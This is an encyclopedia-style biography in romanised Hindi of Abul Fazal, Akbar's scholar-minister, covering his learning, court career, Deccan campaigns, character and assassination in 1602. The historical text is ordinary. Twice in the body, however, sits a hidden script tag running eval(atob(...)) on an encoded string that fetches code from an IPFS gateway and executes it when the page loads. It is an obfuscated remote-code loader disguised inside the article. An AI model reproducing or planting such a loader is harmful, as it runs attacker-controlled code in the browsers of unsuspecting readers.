अबुल फ़ज़ल

abul fazal
abul fazal|200px|center
poora nam	abul fazal ibn mubarak
prasiddh nam	abul fazal
janm	14 janavari sanh 1551 ee.
mrityu	12 agast, 1602
abhibhavak	shekh mubaraq nagauri
karm bhoomi	bharat
karm-kshetr	kavi
mukhy rachanaean	'akabaranama' evan 'aina-e-akabari'
vishay	itihas, darshan evan sahity
puraskar-upadhi	akabar ke navaratn
vishesh yogadan	abul fazal ne mugalakalin shiksha evan sahity mean apana bahumooly yogadan diya hai.
any janakari	abul fazal ratri mean daraveshoan ke yahaan jata, unamean asharfiyaan baantata aur apane dharm ke lie unase dua maangata tha. 1602 ee. mean bundela raja virasianhadev ne shahazada salim ke ukasane se abul fazal ki hatya kar dali.

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abul fazal shekh mubaraq nagauri ka dvitiy putr tha. inaka janm 958 hijari (6 muharram, 14 janavari sanh 1551 ee.) mean hua tha. vah bahut padha-likha aur vidvanh tha aur usaki vidvata ka log adar karate the. inaka svabhav ekaantapriy tha, isalie inhean ekaant achchha lagata tha. abul fazal ratri mean daraveshoan ke yahaan jate, unamean asharfiyaan baantate aur apane dharm ke lie unase dua maangate the. 1602 ee. mean bundela raja virasianhadev ne shahazada salim ke ukasane se abul fazal ki hatya kar dali.

buddhi v vakachatury ka dhani

yah apani buddhi tivrata, yogyata, pratibha tatha vakachatury se shighr apane samay ka advitiy evan asamany purush ho gaya. 15vean varsh tak isane darshan shastr tatha hadis mean poora jnan prapt kar liya tha. kahate haian ki shiksha ke arambhik dinoan mean jab vah 20 varsh ka bhi nahian hua tha, tab sifahani ya isfahani ki vyakhya isako mili, jisaka adhe se adhik aansh dimak kha ge the aur is karan se vah samajh mean nahian a raha tha. isane dimak khae hue hisse ko alag kar sade kagaz jo de aur tho da vichar karake pratyek pankti ka arambh tatha ant samajh kar sade bhag ko andaz se bhar dala. bad mean jab doosari prati mil gee aur donoan ka milan kiya gaya, to ve mil ge. do–tin sthanoan par samanarthi shabd–yojana ki vibhinnata thi aur tin-char sthanoan par uddharan bhinn the, par unamean bhi bhav prayah mool ke hi the. sabako yah dekhakar b da hi ashchary hua. inaka svabhav ekaantapriy tha, isalie inhean ekaant achchha lagata tha aur inhoanne logoan se milana–julana kam kar diya tatha svatantr jivan vyatit karana chaha.

akabar se bheant

abul fazal ne kisi vyapar ke dvar ko kholane ka prayatn nahian kiya. mitroan ke kahane par 19vean varsh mean yah badashah akabar ke darabar mean us samay upasthit hua, jab vah poorviy prantoan ki or ja raha tha aur isane 'ayatul kursi' par likhi huee apani tika use bheant mean di. jab akabar doosari bar fatehapur sikari lauta tab yah doosari bar usake yahaan par gaya. isaki vidvata tatha yogyata ki khyati akabar ke pas kee bar pahuanch chuki thi. isilie in par asim kripaean hueean. jab akabar kattar mullaoan se biga d baitha tab ye donoan bhaee (abul fazal v faizi), jo apani uchch koti ki vidvata tatha yogyata ke sath dhoortata tatha chapaloosi mean bhi kam nahian the, bar-bar shekh abdunnavi aur makhadoomulamulq se, jo apane jnan tatha prachalit vidyaoan ki janakari se samrajy ke stambh the, tark karake unhean chup kar dene mean akabar ki sahayata karate rahate the, jisase din–pratidin unaka prabhutv aur badashah se mitrata badhati gee. abul fazal tatha usake b de bhaee shekh faizi ka svabhav badashah ki prakriti se milata tha, isase abul fazal amir ho gaya. 32vean varsh mean yah ek hazari manasab ho gaya. 34vean varsh mean jab abul fazal ki maan ki mrityu huee tab akabar ne shok manane ke lie isake grih par jakar isako samajhaya ki, 'yadi manushy amar hota aur ek–ek kar n marata to sahanubhootishil hridayoan ke virakti ki avashyakata hi n rah jati. is saray mean koee bhi adhik dinoan tak nahian rahata, tab kyoan ham log asantosh ka dosh apane oopar lean.' 37vean varsh mean inaka manasab do hazari ho gaya.

akabar se ghanishthata

jab abul fazal ka badashah par itana prabhav badh gaya ki shahazade bhi isase eershya karane lage, tab afasaroan ka kahana hi kya aur yah barabar badashah ke pas ratn tatha kuandan ke saman rahane laga. tab kee asantusht saradaroan ne akabar ko abul fazal ko dakshin bhejane ke lie badhy kiya. yah prasiddh hai ki ek din sultan salim shekh ke ghar aya aur vahaan chalis lekhakoan ko quran tatha usaki vyakhya ki pratilipi karate dekha. vah un sabako pustakoan ke sath badashah ke pas le gaya, jo sashankit hokar vicharane laga ki yah hamako to aur qism ki batean sikhalata hai aur apane grih ke ekant mean doosara karata hai. us din se unaki mitrata ki batoan tatha dosti mean farq p d gaya.

chitr:Blockquote-open.gif jakhiratul khavanin mean likha hai, ki abul fazal ratri mean daraveshoan ke yahaan jata, unamean asharfiyaan baantata aur apane dharm ke lie unase dua maangata. isaki prarthana yahi hoti thi ki 'shok' kya karana chahie? tab apane hath ghutanoan par rakhakar gahari saans khianchata. isane apane naukaroan ko kabhi kuvachan nahian kaha, anupasthiti ke lie kabhi dand nahian lagaya aur n unaki mazadoori adi zabt kiya. jise ek bar naukar rakh liya, use yathasambhav thik kam n karane par bhi kabhi nahian chhu daya. isaka bhojan ashcharyajanak tha. isaka putr abdurrahaman ise bhojan karata aur pas rahata. bavarchikhana ka nirikshak musalaman tha, jo kh da hokar dekhata rahata. jis tashtari mean abul fazal do bar hath dalata, vah doosare din phir taiyar kiya jata. yadi kuchh svad rahit hota to vah use apane putr ko khane ko deta aur tab vah jakar bavarchiyoan ko kahata tha. abul fazal svayan kuchh nahian kahate the. chitr:Blockquote-close.gif

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43vean ilahi varsh mean yah dakshin shahazada murad bakhsh ko lane bheja gaya. ise ajna mili thi ki vahaan ke raksharth niyukt afasar thik kary kar rahe hoan, to vah shahazade ke sath laut ayean aur yadi aisa n ho to shahazade ko bhej de, mirza sahab ke sath vahaan ka prabandh thik kare. jab vah burahanapur pahuancha tab khanadesh ke adhyaksh bahadur khaan ne, jisake bhaee se abul fazal ki bahan byahi huee thi, chaha ki ise apane ghar liva lae v jakar isaki khatir karean. abul fazal ne kaha ki yadi tum mere sath badashah ke kary mean yog dene chalo to ham nimantran svikar kar lean. jab yah marg band ho gaya, tab usane kuchh vastr tatha rupaye bheant bheje. abul fazal ne uttar diya ki maianne khuda se shapath li hai ki jab tak char shartean poori n hoan tab tak maian kuchh upahar svikar nahian karooanga. pahali shart prem hai, doosari yah ki upahar ka maian vishesh mooly nahian samajhooanga, tisari yah ki maianne usako maanga n ho aur chauthi yah ki usaki mujhe avashyakata ho. inamean pahali tin to poori ho sakati haian par chauthi kaise poori hogi? kyoanki shahanshah ki kripa ne ichchha rahane hi nahian di hai.

dhairyavan chitt ka malik

shahazada murad bakhsh, jo ahamadanagar se asaphal hokar lautane ke karan mastishk vikar se grasit ho raha tha aur usake putr rustam mirza ki mrityu se usamean adhik sahayata mili, any madira payiyoan ke protsahan se pan karane laga aur use lakava ki bimari ho gee. jab use apane bulae jane ki ajna ka samachar mila, to vah ahamadanagar chala gaya. jisamean is chadhaee ko darabar n jane ka ek bahana bana le. yah poorna nadi ke kinare dihari pahuanch kar sanh 1007 hijari (1599 ee.) mean mar gaya. usi din abul fazal phurti se kooch kar p dav mean pahuancha. vahaan atyant g dab d macha hua tha. chhote–b de sabhi laut jana chahate the, par abul fazal ne yah soch kar ki aise samay jab shatru pas mean hai aur ve videsh mean haian, lautana apani hani karana hai. bahutere kruddh hokar laut ge, par isane dridh hriday tatha sachche sahas ke sath saradaroan ko shant kar sena ko ekatrit rakha aur dakshin vijay ke lie kooch kar diya. tho de hi samay mean bhage hue bhi a mile aur usane kul prant ki achchhi tarah se raksha ki. nasik bahut door tha, isalie nahian liya ja saka, par bahut se sthan, batiyala, talatum, sitooanda adi samrajy mean mila lie ge. godavari ke tat par p dav dal charoan or yogy sena bheji. sandesh milane par isane chaandabibi se yah thik pratijna tatha vachan le liya ki abhag khaan habshi ke, jisase usaka virodh chal raha tha, dand pa jane par vah apane lie juner jagir mean lekar ahamadanagar de degi. sherashahagadh se us or ko ravana hua.

akabar ka chaheta

isi samay akabar ujjain aya aur use jnat hua ki asir ke adhyaksh bahadur khaan ne shahazada daniyal ko kornish (jhukakar salam karana) nahian kiya hai tatha shahazada use dand dena chahata hai. badashah burahanapur tak jana chahate the, isalie shahazade ko likha ki vah ahamadanagar lene mean prayatn kare. is par patr shahazade ke yahaan se abul fazal ke pas ane laga ki usaka utsah door–door tak logoan ko maloom hai, par akabar chahata hai ki shahazada ahamadanagar vijay kare. isalie abul fazal is l daee se hath khianche. jab shahazada burahanapur se chala tab abul fazal ajnanusar mir murtaza tatha khvaza abulahasan ke sath mirza shaharukh ke adhin kaianp chho dakar darabar chala gaya. 14 ramazan sanh 1008 hijari (19 march sanh 1600 ee.) ko 45vean varsh ke arambh mean bijapur rajy mean karagaanv mean badashah se bheant ki. akabar ke hoanth par is ashay ka sher tha —

sundar ratri tatha sushobhit chandr ho, jisamean, tumhare sath har vishay par maian batachit karooan.

chitr:Blockquote-open.gif kahate haian ki shiksha ke arambhik dinoan mean jab vah 20 varsh ka bhi nahian hua tha, tab sifahani ya isfahani ki vyakhya isako mili, jisaka adhe se adhik aansh dimak kha ge the aur is karan se vah samajh mean nahian a raha tha. isane dimak khae hue hisse ko alag kar sade kagaz jo de aur tho da vichar karake pratyek pankti ka arambh tatha ant samajh kar sade bhag ko andaz se bhar dala. bad mean jab doosari prati mil gee aur donoan ka milan kiya gaya to ve mil ge. do–tin sthanoan par samanarthi shabd–yojana ki vibhinnata thi aur tir–char sthanoan par ke uddharan bhinn the, par unamean bhi bhav prayah mool ke hi the. chitr:Blockquote-close.gif

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char hazari manasab evan asiragadh ki vijay

mirza ajij koka, asaf khaan aur shekh farid bakhshi ke sath abul fazal durg asir gherane par niyat hue aur khanadesh prant ka shasan use mila. usane apane putr tatha bhaee ke adhin apane adamiyoan ko bhejakar 22 thane sthapit kie aur vidrohiyoan ka daman karane ka prayatn kiya. isi samay isane char hazari manasab ka jhanda phaharaya. ek din abul fazal topakhane ka nirikshan karane ge. ghire huoan mean se ek adami ne, jo topakhane ke manushyoan se a mila tha, maligadh ke divar tak pahuanchane ka ek marg batala diya. asir ke parvat ke madhy mean uttar ki or do prasiddh durg mali aur aantaramali haian, jinamean se hokar hi log ukt durg mean ja sakate the. isake siva vayavy, uttar tatha eeshan mean ek aur durg joona mali hai. isaki divar poori nahian huee thi. poorv se nairrity tak kee chhoti paha diyaan haian aur dakshin mean ooanchi paha di kortha hai. dakshin-pashchim mean sapan namak ooanchi paha di hai. yah antim shahi sena ke hath mean a gaya tha, isase abul fazal ne topakhane ke afasaroan se yah nishchit kiya ki jab ve dande turahi adi ka shabd sunean tab sabhi sidhi lekar bahar nikal ayean aur b da danka pitean. vah svayan ek aandhakarapoorn tatha badalamay ratri mean apane sainikoan ke sath sapan par chadh aya aur vahaan par se adamiyoan ko pata dekar age bheja. un sabane mali ka phatak to d dala aur bhitar ghusakar danka pitane aur turahi bajane lage. durg vale l dane lage, par abul fazal bhi subah hote - hote a pahuancha. tab durgavale asiragadh mean chale ge. jab din hua tab gherane vale kortha, joonamali adi sab or se a pahuanche aur b di bhari vijay huee. bahadur khaan sharanagat hua aur khan-e-azam koka ke madhyasth hone par kornish (jhukakar salam karana) karane ki use ajna mili. jab shahazada daniyal asir vijay ki khushi mean darabar aya tab rajoomana ke karan vahaan g dab d mach gayi aur nizamashah ke chacha ke l dake shahali ko gaddi par baithane ka prayatn hua. abdurrahim khanakhanaan ahamadanagar aya aur abul fazal ko nasik vijay karane ki ajna mili. par shahali ke putr ko lekar bahut se adami ashanti machae hue the, isalie ajnanusar abul fazal vahaan se lautakar khanakhanaan ke sath ahamadanagar gaya.

rajoomana se yuddh

jab 46vean varsh mean akabar burahanapur se hindustan lauta tab shahazada daniyal vahian par rah gaya. jab khanakhanaan ne ahamadanagar ko apana nivas sthan banaya, tab senapatitv aur yuddh sanchalan ka bhar abul fazal par a p da. yuddhoan ke hone ke bad abul fazal ne shahali ke l dake se sandhi kar li aur tab rajoomana ko dand dene ki taiyari ki. jalanapur tatha as–pas ke prant par, jisamean shatru the, adhikar kar vah daulatabad ghati tatha rauja ki or badha. katak chatavara se kooch kar rajoomana se yuddh kiya aur vijayi raha. rajoo ne daulatabad mean kuchh din sharan li aur phir upadrav karata pahuancha. tho di hi l daee par vah punah bhaga aur pak da ja chuka tha ki vah durg ki khaee mean kood p da. usaka sara saman loot liya gaya.

jahaangir ki sazish

chitr:Blockquote-open.gif jab vah burahanapur pahuancha tab khanadesh ke adhyaksh bahadur khaan ne, jisake bhaee se abul fazal ki bahan byahi huee thi, chaha ki ise apane ghar liva lae v isaki khatir karean. abul fazal ne kaha ki yadi tum mere sath badashah ke kary mean yog dene chalo to ham nimantran svikar kar lean. jab yah marg band ho gaya tab usane kuchh vastr tatha rupaye bheant bheje. abul fazal ne uttar diya ki maianne khuda se shapath li hai ki jab tak char shartean poori n hoan tab tak maian kuchh upahar svikar nahian karooanga. pahali shart prem hai, doosari yah ki upahar ka maian vishesh mooly nahian samajhooanga, tisari yah ki maianne usako maanga n ho aur chauthi yah ki usaki mujhe avashyakata ho. inamean pahali tin to poori ho sakati haian par chauthi kaise poori hogi? kyoanki shahanshaha ki kripa ne ichchha rahane hi nahian di hai. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 47vean varsh mean jab akabar shahazada jahaangir se kuchh ghatanaoan ke karan khafa ho gaya, tab usane, kyoanki usake naukar shahazada ka paksh le rahe the aur satyata tatha vishvas mean koee bhi abul fazal ke barabar nahian tha, abul fazal ko apana kul saman vahian par chho dakar bina sena lie phurti se laut ane ke lie likha. abul fazal apane putr abdurrahaman ke adhin apani sena tatha sahayak afasaroan ko dakshin mean chho dakar phurti se ravana ho gaya. jahaangir ne isaki apane svami ke prati bhakti tatha shraddha ke karan is par shanka ki tatha isake ane ko apane kary mean badhak samajha aur isake is prakar akele ane mean apana labh mana. agunagrahakata se abul fazal ko apane marg se hata dene ko usane apane samrajy ki pratham sidhi man liya aur virasianhadev buandela ko bahut sa vada kar, jisake rajy mean se hokar abul fazal ana vala tha, use mar dalane ko taiyar kar liya. tab logoan ne ray di ki use malava ke ghati chaanda ke marg se jana chahie. abul fazal ne kaha ki "dakuoan ki kya majal hai ki mera rasta rokean." 4 rabiulh avval sanh 1011 hijari (12 agast, 1602 ee.) ko shukravar ke din b da ki saray se adha kos par, jo naravar se 6 kos par hai, virasianhadev ne bhari ghu dasavar tatha paidal sena ke sath dhava kiya. abul fazal ke shubhachintakoan ne abul fazal ko yuddh sthal se hata le jane ka prayatn kiya aur isake ek purane sevak gadaee afagan ne kaha bhi ki aantari basti ke pas hi rayarayan tatha raja soorajasianh tin hazar ghu dasavaroan sahit maujood haian, jinhean lekar use shatru ka daman karana chahie, par abul fazal ne bhagane ki apratishtha nahian uthani chahi aur jivan ke sikke ko virata se khel dala.

chagataee vansh mean niyam tha ki shahazadoan ki mrityu ka samachar badashahoan ko khule roop se nahian diya jata tha. unake vaqil nila roomal hath mean baandhakar kornish (jhukakar salam karana) karate the, jisase badashah ukt samachar se avagat ho jate the. abul fazal ki mrityu ka samachar badashah ko kahane ka jab kisi ko sahas nahian hua, tab yahi niyam barata gaya. akabar ko apane putroan ki mrityu se adhik shok hua aur kul vritt sunakar kaha ki 'yadi shahazada badashahat chahata tha, to use mujhe marana chahie tha aur abul fazal ki raksha karani chahie thi.' usane yah sher ekaek padha —

'jab shekh hamari or b de agrah se aya, tab hamare pair choomane ki ichchha ke bina sir pair ke aya.'

khane azam ne abul fazal ki mrityu ki tarikh is muamma mean kaha—'khuda ke paigambar ne bagi ka sir kat dala.' (1011 hi0 1602 ee.).

kahate haian ki abul fazal ne svapn mean usase kaha ki 'meri mrityu ki tarikh bandah abul fazal' hai, kyoanki khuda ki duniya mean bhatake huoan par vishesh kripa hoti hai. kisi ko bhi nirash nahian hona chahie. shah abul maliqadiri ke vishay mean, jo lahaur ke shekhoan ka ek mukhiya tha, kaha jata hai ki usane kaha tha ki, abul fazal ke karyoan ka virodh karo. ek ratri maianne svapn mean dekha ki abul fazal paigambar ke jalase mean laya gaya. usane apani kripa drishti us par dali aur apane jalase mean sthan diya. usane kripa kar kaha ki is adami ne apane jivan ke kuchh bhag kukary mean vyatit kie par inaki yah dua, jisaka arambh yoan hai ki 'ai khuda, achchhe logoan ko unaki achchhaee ka puraskar de aur buroan par apani uchchata se daya kar', usaki mukti ka karan ho gee.'

jan-manas ke vichar

chhote–b de sabhi ke mukh par yah bat thi ki abul fazal qafir tha. koee use hindoo kah kar usaki ninda karata tha, to koee agni poojak batalata tha tatha mataandh ki padavi deta tha. kuchh logoan ne yahaan tak apani ghrina dikhalaee hai ki use napaq tatha anishvar vadi tak kaha hai. par doosare jinamean nyay buddhi adhik hai aur jo soofi mat ke anuyayiyoan ke saman bure nam valoan ko achchhe nam dete haian, ise unamean ginate haian, jo sabase shanti rakhate haian, atyant udar hriday haian, sab dharmoan ko manate haian, niyam ko dhila karate haian tatha svatantr prakriti ke haian. alamara abbasi ka lekhak likhata hai ki shekh abul fazal nuqatavi tha, jaisa ki ek akshar ke roop mean likhe hue ek manshoor se maloom hota hai, jise abul fazal ne mir saiyad ahamad kashi ke pas bheja tha, jo mat ka ek mukhiya tatha us nukta mat ki pustakoan ka ek lekhak tha. yah sanh 1002 hijari (sanh 1594 ee.) mean, jab qafiroan ko faras mean mar rahe the, kashan mean shah abbas ke niji hathoan se mara gaya tha. nuktamat kufr, apavitrata, vankachata aur ghor eesaeepan hai aur nuktavi log darshanikoan ke saman vishv ko anadi manate haian. ve pralay tatha antim din aur achchhe–bure karmoan ke badale ko nahian manate. ve svarg aur narak ko yahian saansarik sukh aur du:kh manate haian. khuda hamean bachave.

akabar ke vichar

chitr:Blockquote-open.gif chagataee vansh mean niyam tha ki shahazadoan ki mrityu ka samachar badashahoan ko khule roop se nahian diya jata tha. unake vaqil nila roomal hath mean baandhakar kornish (jhukakar salam karana) karate the, jisase badashah ukt samachar se avagat ho jate the. abul fazal ki mrityu ka samachar badashah ko kahane ka jab kisi ko sahas nahian hua, tab yahi niyam barata gaya. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> akabar samajh ane ke samay hi se bharat ke chal vyavahar adi ko bahut pasand karata tha. isake bad vah apane pita humayooan ke upadeshoan par chala, jisane faras]ke shah tahamasp ki sammati man li thi. (nirvasan ke samay) humayooan ke sath batachit karate hue bharat tatha rajy chhin jane ke vishay mean charcha chalakar usane kaha ki aisa jnat hota hai ki 'bharat mean do dal haian, jo yuddh kala tatha sainik sanchalan mean prasiddh haian. afagan tatha rajapoot.' is samay parasparik avishvas ke karan afagan apake paksh mean nahian a sakate, isalie unhean sevak n rakhakar vyapari banao aur rajapootoan ko mila rakho. akabar ne is dal ko mila rakhana ek bhari rajanitik chal mana aur isake lie poora prayatn kiya. yahaan tak ki unaki chal apanaee, 'gayoan ko marana band kar diya, dadhi banavata, motiyoan ki mala pahanata, dashahara tatha divali tyohar manata adi.' abul fazal ka badashah par prabhav tha. is sabaka usi par ulta asar p da.

nekadil iansan

jakhiratul khavanin mean likha hai, ki abul fazal ratri mean daraveshoan ke yahaan jata, unamean asharfiyaan baantata aur apane dharm ke lie unase dua maangata. isaki prarthana yahi hoti thi ki 'shok' kya karana chahie? tab apane hath ghutanoan par rakhakar gahari saans khianchata. isane apane naukaroan ko kabhi kuvachan nahian kaha, anupasthiti ke lie kabhi dand nahian lagaya aur n unaki mazadoori adi zabt kiya. jise ek bar naukar rakh liya, use yatha sambhav thik kam n karane par bhi kabhi nahian chhu daya. yah kahata ki log kaheange ki isamean buddhi ki kami hai, jo bina samajhe ki kaun kaisa hai, rakh leta hai. jis din soory mesh rashi mean jata hai us din yah sab gharaoo saman samane mangavakar usaki soochi banava leta aur apane pas rakhata. yah apane bahi khatoan ko jalava deta aur kul kap doan ko nauroj ko naukaroan mean baant deta, keval payajamoan ko samane jalava deta. isaka bhojan ashcharyajanak tha. isaka putr abdurrahaman ise bhojan karata aur pas rahata. bavarchikhana ka nirikshak musalaman tha, jo kh da hokar dekhata rahata. jis tashtari mean abul fazal do bar hath dalata, vah doosare din phir taiyar kiya jata. yadi kuchh svad rahit hota, to vah use apane putr ko khane ko deta aur tab vah jakar bavarchiyoan ko kahata tha. abul fazal svayan kuchh nahian kahate the.

vinamrata ki misal

[[chitr:Akbarnama.jpg|thumb|250px|akabaranama]] kahate haian ki dakshin ki chadhaee ke samay isake sath ke prabandh aur karakhane aise the jo ki vichar se pare the. cheval ravati mean abul fazal ke lie masanad bichhata aur pratidin ek sahasr thaliyoan mean bhojan ata tatha afasaroan mean bantata. bahar ek naugazi lagi rahati, jisamean din–rat sabako paki - pakaee khich di bantati rahati thi. kaha jata hai ki jab abul fazal ka vaqil mulataq tha, tab ek din khanakhanaan siandh ke shasak mirza janibeg ke sath isase milane ke lie aya. abul fazal bistar par lamba soya hua akabaranama dekh raha tha. isane kuchh bhi dhyan nahian diya aur usi prakar p de hue kaha ki, 'mirza ao aur baitho.' mirza janibeg mean saltanat ki boo thi, isalie vah kudhakar laut gaya. doosari bar khanakhanaan ke bahut kahane se mirza, abul fazal ke grih par ge. abul fazal fatak tak svagat ko aya aur bahut suvyavahar karake kaha ki, 'ham log apake sathi nagarik haian aur apake sevak haian.' mirza ne ashchary mean p dakar khanakhanaan se poochha ki 'us din ke aanhakar aur aj ki namrata ka kya arth hai?' khanakhanaan ne uttar diya, ki 'us din pradhan amaty ke pad ka vichar tha, chhaya ko vastavikata ke saman mana. aj bhatritv ka bartav hai.'

asamay hatya

abul fazal bahut varshoan tak akabar ka vishvasapatr vazir aur salahakar raha. vah keval darabari aur ala afasar hi nahian tha, varanh b da vidvanh tha aur usane anek pustakean bhi likhi thian. usaki aina-e-akabari mean akabar ke samrajy ka vivaran milata hai aur akabaranama mean usane akabar ke samay ka itihas likha hai. usaka bhaee faizi bhi akabar ka darabari shayar tha. '1602 ee. mean bundela raja virasianhadev ne shahazada salim ke ukasane se abul fazal ki hatya kar dali.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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